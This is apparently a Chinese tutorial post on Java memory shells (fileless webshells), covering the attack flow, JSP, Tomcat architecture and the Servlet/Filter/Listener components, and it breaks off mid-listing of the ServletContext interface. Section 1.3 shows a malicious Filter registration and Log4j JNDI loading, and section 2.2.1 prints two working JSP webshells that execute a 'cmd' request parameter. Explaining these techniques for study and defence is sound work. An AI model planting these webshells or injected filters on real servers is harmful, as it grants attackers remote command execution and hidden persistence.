内存马(Memory Shell/Webshell)是一种无文件、驻留内存的恶意程序 ,通过直接注入应用进程(如Web中间件、Java应用)的内存空间执行恶意操作,规避传统文件扫描检测。
一、内存马简介
1.1 内存马的核心特征
- 无文件驻留
不依赖磁盘文件,恶意代码直接运行在内存中,重启服务或进程后失效(但攻击者常结合持久化手段维持控制)。
- 寄生载体
依赖宿主进程(如Tomcat、Spring、PHP-FPM)的合法功能注入恶意代码,例如劫持Web中间件的请求处理逻辑(Filter、Servlet、Controller等)。
- 隐蔽性强
流量伪装 :恶意请求伪装为正常业务流量(如HTTP参数加密、路径随机化)。
无痕驻留 :通过动态注册组件(如Java反射、JNI调用)或修改字节码(Java Agent)实现,不修改磁盘配置文件。
1.2 内存马的典型类型
Servlet型内存马:动态注册高优先级Filter或Servlet,拦截HTTP请求并执行系统命令(如 Runtime.exec() )。
Spring Controller型:利用Spring框架动态注册恶意Controller,绑定特定URL路径执行后门逻辑。
Java Agent型:通过JVM的Instrumentation API修改已加载类的字节码(如注入恶意代码到 javax.servlet.http.HttpServlet )。
WebSocket内存马:劫持WebSocket通信通道,在握手阶段注入恶意代码实现隐蔽通信。
1.3 内存马攻击流程
1.3.1 漏洞利用
通过反序列化漏洞、表达式注入(如Log4j)、文件上传漏洞等,获取目标系统的代码执行权限。
示例 :攻击者利用Log4j漏洞(CVE-2021-44228)执行 jndi:ldap://恶意地址 ,加载远程恶意类到内存。
1.3.2 注入恶意组件
动态注册恶意组件到Web容器:
// 动态注册Filter型内存马
Filter filter = new MaliciousFilter ( ) ;
FilterRegistration.Dynamic registration = servletContext.addFilter("evilFilter" , filter);
registration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true , "/*" ) ;
1.3.3 持久化与隐蔽
- 内存驻留 :通过线程驻留、定时任务(如 ScheduledExecutorService )保持恶意代码存活。
- 流量混淆 :使用AES加密通信内容,或伪装为正常API请求(如 /api/v1/user/info?data=加密payload )。
例子
Log4j漏洞催生内存马:攻击者利用Log4j漏洞注入内存马。
通过 ldap:// 协议加载恶意类到Tomcat内存,动态注册Filter实现命令执行。
检测痕迹 : Tomcat日志中存在 jndi:ldap:// 异常请求。 JVM中多出未在 web.xml 中声明的Filter类。
为什么选Filter下手 ?
Filter是Java Servlet规范中的一部分,用于拦截HTTP请求和响应,进行预处理或后处理。比如权限检查、日志记录、数据加密等。在内存马的场景中,攻击者会注册恶意Filter来拦截请求,执行恶意代码。
为什么Filter被利用:因为它在请求处理链中的位置,可以优先处理请求,且动态注册的Filter不会留下文件痕迹,符合内存马的特点。
通俗的方式解释:
你可以把 Filter(过滤器)想象成高速公路上的「安检站」 。
- 正常用途 :
当一辆车(HTTP请求)要从入口(浏览器)开到出口(服务器)时,必须经过安检站(Filter)。 安检站的工作是检查车辆(比如查用户是否登录、过滤敏感词、记录日志)。 检查完,如果没问题,就放行到下一个安检站或最终目的地(服务器处理请求)。
- 被黑客利用时的恶意Filter :
假设有个坏人偷偷在高速上 加塞了一个自己的安检站 ,而且这个安检站的位置 最靠前 (优先级最高)
所有车辆(请求)必须 先经过他的安检站 。 他会在检查时偷偷做坏事:比如让车辆帮他运毒品(执行系统命令)、偷拍车牌号(窃取用户数据),甚至直接拆掉货物(破坏系统)。 更阴险的是,这个安检站没有实体建筑(不写文件到磁盘),只存在于路上(内存中),传统检查手段(文件扫描)根本找不到它。
为什么选Filter下手 ?因为它能第一时间接触到所有请求,最适合黑客「埋伏」。
1.4 Java内存马
Java 内存马是最典型的内存马类型,主要针对 Java Web 应用(如 Tomcat、Spring Boot)。它通过动态注册恶意组件(如 Filter、Servlet、Listener)或利用 Java Agent 技术修改字节码,在内存中执行恶意代码。
内存马并不单指 Java 内存马,而是一个广义的概念,适用于多种编程语言和运行环境。Java 内存马只是其中最常见的一种,因为 Java Web 应用的广泛使用和其复杂的组件机制为内存马提供了丰富的攻击面。防御内存马需要结合语言特性和应用场景,采取多层次的安全防护措施。
1.5 其他语言和环境中的内存马
除了 Java,内存马的概念也适用于其他编程语言和运行环境,例如:
- PHP 内存马:利用 PHP 的动态特性(如 eval() 、 create_function() ),在内存中执行恶意代码。
- Python 内存马:利用 Python 的动态特性(如 exec() 、 eval() ),在内存中执行恶意代码。
- C#/.NET 内存马:利用 .NET 的反射机制或动态代码生成技术(如 System.Reflection.Emit ),在内存中执行恶意代码。
- Node.js 内存马:利用 Node.js 的动态特性(如 eval() 、 vm 模块),在内存中执行恶意代码。
相较于 Java 内存马的复杂性和高度集成于 Web 容器的特性,其他语言的内存马通常更简单,主要依赖于 命令执行函数 来实现恶意操作。
二、JSP与JSP木马
Java 内存马是一种完全驻留在内存中、无文件落地的恶意程序,专门针对 Java Web 应用(如 Tomcat、Spring Boot)设计。它通过劫持 Java 应用的运行时逻辑(如 Web 请求处理流程),直接在内存在执行恶意操作(如窃取数据、远程控制), 绕过传统杀毒软件的文件扫描 。
2.1 JSP技术
在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println
一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。
JSP( JavaServer Pages )是一种用于开发动态网页的Java技术,允许开发者将 Java代码嵌入HTML页面 ,从而快速创建动态内容。它本质上是一种基于Java的模板引擎,最终在服务器端被编译成Servlet(Java类)来执行。
2.1.1 JSP的核心作用
- 简化动态网页开发
开发者可以在HTML中直接插入Java代码(通过 <%
… %>
标签),动态生成页面内容(如显示数据库数据、用户登录状态等)。 示例 :
<html>
<body>
<h1>当前时间:<%= new java.util.Date() %></h1>
</body>
</html>
输出: 当前时间:Thu Aug 24 14:30:00 CST 2023 。
- 分离逻辑与展示
JSP通常与Servlet配合使用,遵循 MVC模式 :
Servlet :处理业务逻辑(如数据库操作)。
JSP :负责展示结果(生成HTML)。
2.1.2 JSP的工作原理
- 翻译与编译
当用户请求一个JSP页面(如 index.jsp )时,服务器(如Tomcat)会将其翻译成Servlet (Java代码文件)。
生成的Servlet会被编译成 .class 文件,最终由JVM执行。
- 执行流程
graph LR
A [用户访问 index.jsp] --> B [服务器将JSP翻译为Servlet(java代码文件)]
B --> C [编译为 .class 文件]
C --> D [执行Servlet生成HTML]
D --> E [返回HTML到浏览器]
Servlet介绍:
Servlet 可以理解为 “专门处理网络请求的服务员” ,用生活中餐馆的例子来比喻:
- 举个栗子 🌰:(餐馆点餐流程)
1)客户(浏览器) :走进餐馆,对服务员说:“我要一份红烧肉!”(发送一个 HTTP 请求)。
2)服务员(Servlet) :
职责 :专门处理某一类请求(比如点菜、结账)。
动作 :记下客户需求(接收请求参数)。
去后厨(业务逻辑层)让厨师做菜(处理数据,比如查数据库)。
把做好的菜端给客户(返回 HTML/JSON 响应)。
3)后厨(Java 代码) :做菜的实际操作(比如数据库查询、计算逻辑)。
- Servlet 的通俗总结
本质 :一段 Java 代码,专门处理 HTTP 请求(如 GET/POST)。
生命周期 : 出生 :第一次被访问时初始化( init() )。 工作 :每次请求都调用 service() 方法处理。 退休 :服务器关闭时销毁( destroy() )。
为什么需要 Servlet?
1)直接控制请求和响应 :适合处理复杂逻辑(如支付接口、权限验证)。
2)高效 :比 JSP 更底层,性能更好(JSP 最终也会被编译成 Servlet)。
3)标准化 :所有 Java Web 框架(如 Spring MVC)底层都基于 Servlet。
2.1.3 JSP的语法
1)脚本程序
<% ... %>
:插入Java代码(无输出)。脚本程序可以包含任意量的Java语句、变量、方法或表达式。
其等价于下面的XML语句
<jsp:scriptlet>
代码片段
</jsp:scriptlet>
<html>
<body>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>
<% int count = 0; %>
2)jsp表达式
<%= ... %>
:输出Java表达式的结果。- 如果JSP表达式中为一个对象,则会自动调用其
toString()
方法。格式如下,注意表达式后没有;
<%= 表达式 %>
等价于下面的XML表达式:
<jsp:expression>
表达式
</jsp:expression>
下面是使用示例
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "Feng"; %>
username:<%=name%>
</p>
</body>
</html>
访问次数:<%= count++ %>
3)jsp声明
<%! ... %>
:声明成员变量或方法。一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下
<%! 声明 %>
同样等价于下面的XML语句
<jsp:declaration>
代码片段
</jsp:declaration>
下面是使用示例:
<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>
<%! public void log() { System.out.println("Logged!"); } %>
4)指令(Directives)
JSP指令用来设置与整个JSP页面相关的属性。
指令 | 描述 |
---|---|
<%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
<%@ include … %> | 包含其他文件 |
<%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |
- 设置jsp页面的编码格式
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "枫"; %>
用户名:<%=name%>
</p>
</body>
</html>
<%@ include ... %>
:包含其他文件(如公共页眉)。
<%@ include file="header.jsp" %>
5)JSP注释
<%-- 注释内容 --%>
6)JSP内置对象
JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
- 由 JSP 规范提供,不用编写者实例化。
- 通过 Web 容器实现和管理。
- 所有 JSP 页面均可使用。
- 只有在脚本元素的表达式或代码段中才能使用。
对象 | 类型 | 描述 |
---|---|---|
request | javax.servlet.http.HttpServletRequest | 获取用户请求信息 |
response | javax.servlet.http.HttpServletResponse | 响应客户端请求,并将处理信息返回到客户端 |
response | javax.servlet.jsp.JspWriter | 输出内容到 HTML 中 |
session | javax.servlet.http.HttpSession | 用来保存用户信息 |
application | javax.servlet.ServletContext | 所有用户共享信息 |
config | javax.servlet.ServletConfig | 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数 |
pageContext | javax.servlet.jsp.PageContext | JSP 的页面容器,用于访问 page、request、application 和 session 的属性 |
page | javax.servlet.jsp.HttpJspPage | 类似于 Java 类的 this 关键字,表示当前 JSP 页面 |
exception | java.lang.Throwable | 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象 |
2.2 jsp 木马
2.2.1 有文件木马
- 简单的一句话
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
上面是最简单的一句话木马,没有回显,适合用来反弹shell。
- 带回显的jsp木马
下面是一个带回显的JSP木马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String line;
PrintWriter printWriter = response.getWriter();
printWriter.write("<pre>");
while ((line = bufferedReader.readLine()) != null){
printWriter.println(line);
}
printWriter.write("</pre>");
}
%>
2.2.2 无文件内存马
传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。
Java内存马按照实现原理大致可以分为如下两种:
- 利用Java Web组件:
动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
- 修改字节码:
利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。
三、 Tomcat架构分析
3.1 基本架构分析
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
所以简单来说,Tomcat可以看成是Web服务器+Servlet容器:
Tomcat能够通过Connector组件接收并解析HTTP请求,然后将一个ServletRequest
对象发送给Container处理。容器处理完之后会将响应封装成ServletRespone
返回给Connector,然后Connector再将ServletRespone
解析为HTTP响应文本格式发送给客户端,至此Tomcat就完成了一次网络通信。
web服务器和servlet容器的关系:
我们可以用 「餐厅后厨协作」 的比喻来理解两者的关系:
一句话总结 Web 服务器是「前台接待」,处理简单任务;Servlet 容器是「后厨团队」,专注复杂业务。两者分工协作,让餐厅(网站)高效运转! 🍽️
- Web 服务器(如 Nginx、Apache)→ 餐厅前台
职责 :
接待客人 :处理客人(浏览器)的简单请求,比如点一杯白开水(静态资源:HTML、图片、CSS)。
快速响应 :直接从前台冰箱(静态文件目录)拿水递给客人,无需惊动后厨。
分流任务 :遇到复杂菜品(动态请求,如登录、查询数据),转交给后厨(Servlet 容器)处理。
- Servlet 容器(如 Tomcat、Jetty)→ 餐厅后厨
职责 :
专业做菜 :专门处理动态请求(如生成个性化页面、操作数据库)。
管理厨师(Servlet) :确保每个厨师(Servlet 实例)高效工作(多线程处理请求)。
按订单出餐 :根据客人需求(HTTP 请求参数),调用对应的 Servlet 生成响应(如返回 JSON 数据)。
协作流程示例
客人点餐 :浏览器访问 http://example.com/login (动态请求)。
前台判断 : Web 服务器发现这是动态请求(路径含 /login ),转交给后厨(Servlet 容器)。
后厨处理 : Servlet 容器找到负责登录的 Servlet(厨师),调用其 doPost() 方法处理请求。 Servlet 验证用户名密码,返回登录结果(HTML 或 JSON)。
上菜给客人 :Web 服务器将结果返回浏览器。
为什么需要分开?
性能优化 : Web 服务器专注处理静态资源(性能高),Servlet 容器专注运行业务逻辑(Java 代码)。
职责分离 : Web 服务器擅长处理高并发连接和缓存,Servlet 容器擅长管理 Java 应用的运行时环境。
灵活部署 : 可搭配不同组合(如 Nginx + Tomcat),提升整体系统稳定性。
常见组合
Nginx + Tomcat :Nginx 处理静态文件,动态请求转发给 Tomcat。
Apache HTTP Server + Jetty :类似原理,通过模块(如 mod_jk )实现请求转发。
3.2 tomcat组件分析
Tomcat Server大致可以分为三个组件,Service、Connector、Container。
3.2.1 Service
其中一个Tomcat Server可以包含多个Service,比如Tomcat默认的Service服务Catalina。每一个Service都是独立的,他们共享一个JVM以及系统类库,并且一个Service负责维护多个Connector和一个Container。
3.2.2 Connector
Connector用于连接Service和Container,解析客户端的请求并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。
3.2.3 Container
Tomcat的Container包含四种子容器:Engine
、Host
、Context
和Wrapper
,在Tomcat源码中我们可以清晰地看到各容器之间的继承关系。
其中,一个Container对应一个Engine,一个Engine可以包含多个Host,一个Host可以包含多个Context,Context又包含多个Wrapper,各子容器的功能如下:
- Engine
可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host。
- Host
可以看成一个虚拟主机
,一个Tomcat可以支持多个虚拟主机。
- Context
又叫做上下文容器,我们可以将其看成一个Web应用,每个Host里面可以运行多个Web应用。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)。
- Wrapper
是对Servlet的抽象和包装,每个Context可以有多个Wrapper,用于支持不同的Servlet。每个Wrapper实例表示一个具体的Servlet定义,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收。
3.2.4 Container中的解析过程
以上的映射信息通过通过Mapper组件来关联。Mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系等。
四、Java Web三大组件
4.1 Servlet
Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestServlet
对象并发送到对应的Servlet上进行处理。
4.1.1 Servlet的生命周期
Servlet的生命周期分为如下五个阶段:
- 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例。
- 初始化:当Servlet被实例化后,Tomcat会调用
init()
方法初始化这个对象。 - 处理服务:当浏览器访问Servlet的时候,Servlet 会调用
service()
方法处理请求。 - 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用
destroy()
方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁。 - 卸载:当Servlet调用完
destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作。
只要访问Servlet,service()
就会被调用。init()
只有第一次访问Servlet的时候才会被调用。 destroy()
只有在Tomcat关闭的时候才会被调用。因此我们主要的业务逻辑代码是写在service()
函数中的。
4.1.2 GenericServlet
类和HttpServlet
类
想要编写一个自己的Servlet,就必须要继承Servlet接口并实现如下五个方法:
但每次需要编写Servlet的时候都要重写五个方法,这样未免太繁琐。因此Tomcat已经帮我们封装好了两个类,分别是GenericServlet
类和HttpServlet
类。
GenericServlet抽象类实现了 Servlet 接口,并对 Servlet 接口中除service()方法外的其它四个方法进行了简单实现。如果我们通过继承GenericServlet类创建来Servlet,只需要重写service()
方法即可。但正如其名,GenericServlet抽象类是一个通用的Servlet类,并不是针对某种应用场景而设计的,因此我们在处理HTTP请求的时候需要手动实现对HTTP请求的解析和封装。
HttpServlet是GenericServlet的子类,它在GenericServlet的基础上专门针对HTTP协议进行了处理。其针对每一种HTTP请求都设置了一种处理方法。当我们在使用HttpServlet类的时候,只需要根据HTTP请求类型重写相应的处理方法即可。
4.1.3 Servlet使用示例
以HttpServlet为例,编写一个自己的Servlet:
package Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String parameter = req.getParameter("name");
PrintWriter writer = resp.getWriter();
writer.write("Hello "+parameter+"!");
writer.close();
}
}
使用注解来注册Servlet:
...
@WebServlet("/hello")
public class MyServlet extends HttpServlet {
...
}
也可以通过手动配置web.xml文件来注册Servlet,这种方式虽然繁琐,但是便于管理各Servlet。
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>Servlet.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
配置Tomcat,添加好相应的war包:
访问http://localhost:8081/Tomcat_Servlet_war/hello?name=Test
,结果如下:
Hello Test!
4.1.4 ServletConfig和ServletContext
1)ServletConfig
当Servlet容器初始化一个Servlet时,会为这个Servlet创建一个ServletConfig对象,并将 ServletConfig 对象作为参数传递给Servlet。ServletConfig对象封装了Servlet的一些独有参数信息,因此一个Servlet只能对应一个ServletConfig。
下面是ServletConfig的使用示例:
package Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/config")
public class Config_Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//设置响应编码
resp.setContentType("text/html; charset=UTF-8");
//获取ServletConfig
ServletConfig servletConfig = getServletConfig();
//获取Servlet名称
String name = servletConfig.getServletName();
PrintWriter writer = resp.getWriter();
writer.write("Servlet名称为:"+name);
writer.close();
}
}
2)ServletContext
Servlet 容器启动时,会为每个 Web 应用(webapps 下的每个目录都是一个 Web 应用)创建一个唯一的 ServletContext 对象,该对象一般被称为“Servlet 上下文”。
何为一个Web应用?
在 Java Web 开发中,「Web 应用」可以理解为 一个独立运行的网站或服务 ,它包含了一组用于处理 HTTP 请求的代码、资源和配置。通俗来说,你可以把它想象成:Web 应用 = 一个完整的网站(或服务)
1、内容构成:
前端代码 :HTML、CSS、JavaScript(用户看到的页面)。
后端代码 :Servlet、JSP、Java 类(处理业务逻辑)。
配置文件 : web.xml (定义 Servlet、过滤器等)。
资源文件 :图片、配置文件、数据库连接池等。
2、部署形态:
通常以 目录 或 WAR 包 (类似 ZIP 压缩包)的形式存在。
在 Tomcat 的 webapps 目录下,每个子目录(或 WAR 文件)都是一个独立的 Web 应用。
![]()
为什么需要为每个 Web 应用创建唯一的 ServletContext?
独立性 每个 Web 应用相当于一个“隔离的沙箱”,彼此之间 配置、资源、数据互不干扰 。 例如: 应用A (电商)的 web.xml 配置的 Servlet,不会影响 应用B (博客)。 应用A 的 images/logo.png ,不会和 应用B 的同名文件冲突。
ServletContext 的作用 共享数据 :在整个 Web 应用内共享数据(如全局配置参数)。 访问资源 :通过 getResource() 读取应用内的文件(如配置文件)。 获取配置 :读取 web.xml 中定义的初始化参数。
3、Web 应用的典型结构
![]()
4、实际例子
假设你开发了两个系统: 电商系统 :部署在 webapps/shop/ ,访问地址是 http://ip:port/shop/ 。
后台管理系统 :部署在 webapps/admin/ ,访问地址是 http://ip:port/admin/ 。
Tomcat 会为这两个目录分别创建 独立的 ServletContext ,它们的内存空间、配置、资源完全隔离,就像两个独立的“小程序”运行在同一台服务器上。
5、总结
Web 应用 :一个独立运行的网站或服务,包含代码、资源和配置。
ServletContext :相当于这个应用的“全局管家”,管理它的配置、资源和共享数据。
隔离性 :不同 Web 应用之间互不影响,避免资源冲突。
由于一个Web应用可以包含多个Servlet,因此ServletContext可以看作是一个Web应用中各Servlet的共享资源。不同 Servlet 之间可以通过ServletContext对象实现数据通讯,因此ServletContext对象也被称为Context域对象。
ServletContext 对象的生命周期从 Servlet 容器启动时开始,到容器关闭或应用被卸载时结束。
通过ServletContext可以获取Web应用中一些共享的资源。下面我们使用ServletContext来获取上下文初始化参数
首先在web.xml中配置一个上下文初始化参数:
<web-app>
<display-name>Archetype Created Web Application</display-name>
//配置上下文初始化参数name
<context-param>
<param-name>name</param-name>
<param-value>Feng</param-value>
</context-param>
<context-param>
<param-name>age</param-name>
<param-value>18</param-value>
</context-param>
</web-app>
在Servlet中访问共享的参数:
package Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;
@WebServlet("/context")
public class Context_Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html; charset=UTF-8");
PrintWriter writer = resp.getWriter();
ServletContext servletContext = getServletContext();
Enumeration<String> initParamerNames = servletContext.getInitParameterNames();
while(initParamerNames.hasMoreElements()){
String ParamerName = initParamerNames.nextElement();
String Paramer = servletContext.getInitParameter(ParamerName);
writer.write(ParamerName+"的值为:"+Paramer+"<br/>");
}
writer.close();
}
}
4.2 Filter
4.2.1 Filter概述
Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能。
下面是Filter在Server中的调用流程图:
这种调用流程类似于设计模式中的“责任链模式”,对于不符合要求的资源进行拦截,而符合要求的资源用FilterChain.doFilter()
放行。
4.2.2 Filter用法示例
下面是一个简单的Filter Servlet示例,这里我们同样使用注解方式进行配置:
Hello_Servlet.java
package Filter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class Hello_Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.write("Hello World!");
writer.close();
}
}
Hello_Filter1.java
package Filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;
@WebFilter("/hello")
public class Hello_Filter1 implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
writer.write("调用Filter1!</br>");
chain.doFilter(request,response);
}
}
Hello_Filter2.java
package Filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;
@WebFilter("/hello")
public class Hello_Filter2 implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
PrintWriter writer = response.getWriter();
writer.write("调用Filter2!</br>");
chain.doFilter(request,response);
}
}
运行结果:
4.2.3 Filter的生命周期
Filter的生命周期和Servlet一样,Filter的创建和销毁也是由WEB服务器负责。
- 初始化阶段:init(FilterConfig),初始化方法,只会在web应用程序启动时调用一次。
- 拦截和过滤阶段:doFilter(ServletRequest, ServletResponse, FilterChain),完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
- 销毁阶段:destory(),销毁Filter,只会在当web应用移除或服务器停止时才调用一次来卸载Filter对象。
4.2.4 FilterChain
一个Servlet可以注册多个Filter,Web容器会将注册的多个Filter组合成一个“Filter链”,并按照一定的顺序依次执行各Filter的doFilter()方法。
FilterChain就是这样一个接口,其doFIiter()方法用于将本Filter处理完的Servlet资源交给下一个Filter处理。
4.2.5 Filter执行顺序
Filter的注册方式不同,Filter的执行顺序也有所不同。
- 基于注解配置:按照类名的字符串比较规则比较,值小的先执行。
- 使用web.xml配置:根据对应的Mapping的顺序组织,谁定义在上边谁就在前。
4.2.6 FilterConfig
和Servlet类似,由于Filter也有可能访问Servlet,所以Servlet 规范将代表 ServletContext 对象和 Filter 的配置参数信息都封装到一个称为 FilterConfig 的对象中。
FilterConfig接口则用于定义FilterConfig对象应该对外提供的方法,以便在 Filter的doFilter()方法中可以调用这些方法来获取 ServletContext 对象,以及获取在 web.xml 文件中的一些初始化参数。
4.3 Listener
Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。
4.3.1 相关概念
- 事件:某个方法被调用,或者属性的改变。
- 事件源:被监听的对象(如ServletContext、requset、方法等)。
- 监听器:用于监听事件源,当发生事件时会触发监听器。
4.3.2 监听器的分类
监听器一共有如下8种:
事件源 | 监听器 | 描述 |
---|---|---|
ServletContext | ServletContextListener | 用于监听 ServletContext 对象的创建与销毁过程 |
HttpSession | HttpSessionListener | 用于监听 HttpSession 对象的创建和销毁过程 |
ServletRequest | ServletRequestListener | 用于监听 ServletRequest 对象的创建和销毁过程 |
ServletContext | ServletContextAttributeListener | 用于监听 ServletContext 对象的属性新增、移除和替换 |
HttpSession | HttpSessionAttributeListener | 用于监听 HttpSession 对象的属性新增、移除和替换 |
ServletRequest | ServletRequestAttributeListener | 用于监听 HttpServletRequest 对象的属性新增、移除和替换 |
HttpSession | HttpSessionBindingListener | 用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件 |
HttpSession | HttpSessionActivationListener | 用于监听 HttpSession 中对象活化和钝化的过程 |
按照监听的对象不同可以划分为三类:
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
4.3.3 ServletContextListener
这里我们以ServletContextListener为例,创建一个用于监听ServletContext对象的Listener,这里我仍使用注解配置:
package Listener;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class Hello_Listener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
System.out.println("ServletContext对象创建了!");
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
System.out.println("ServletContext对象销毁了!");
}
}
在启动Tomcat服务器的时候,ServletContext对象被创建,同时触发我们设置的ServletContextListener.contextInitialized()
方法:
当停止Tomcat服务器时,ServletContext对象被销毁,会触发ServletContextListener.contextDestroyed()
方法:
4.4 三者的加载顺序
三者的加载顺序为Listener->Filter->Servlet
。
在org.apache.catalina.core.StandardContext
类的startInternal()
方法中,首先调用了listenerStart()
,接着是filterStart()
,最后是loadOnStartup()
。这三处调用触发了Listener、Filter、Servlet的构造加载。
五、Tomcat中的三种Context
在学习内存马的时候,常常会碰见ServletContext、ApplicationContext、StandardContext这三种Context。
5.1 Context
在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。
5.2 ServletContext
Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。其在Java中的具体实现是javax.servlet.ServletContext
接口。
package javax.servlet;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;
public interface ServletContext {
String TEMPDIR = "javax.servlet.context.tempdir";
String getContextPath();
ServletContext getContext(String var1);
int getMajorVersion();
int getMinorVersion();
int getEffectiveMajorVersion();
int getEffectiveMinorVersion();
String getMimeType(String var1);
Set getResourcePaths(String var1);
URL getResource(String var1) throws MalformedURLException;
InputStream getResourceAsStream(String var1);
RequestDispatcher getRequestDispatcher(String var1);
RequestDispatcher getNamedDispatcher(String var1);
/** @deprecated */
Servlet getServlet(String var1) throws ServletException;
/** @deprecated */
Enumeration getServlets();
/** @deprecated */
Enumeration getServletNames();
void log(String var1);
/** @deprecated */
void log(Exception var1, String var2);
void log(String var1, Throwable var2);
String getRealPath(String var1);
String getServerInfo();
String getInitParameter(String var1);
Enumeration getInitParameterNames();
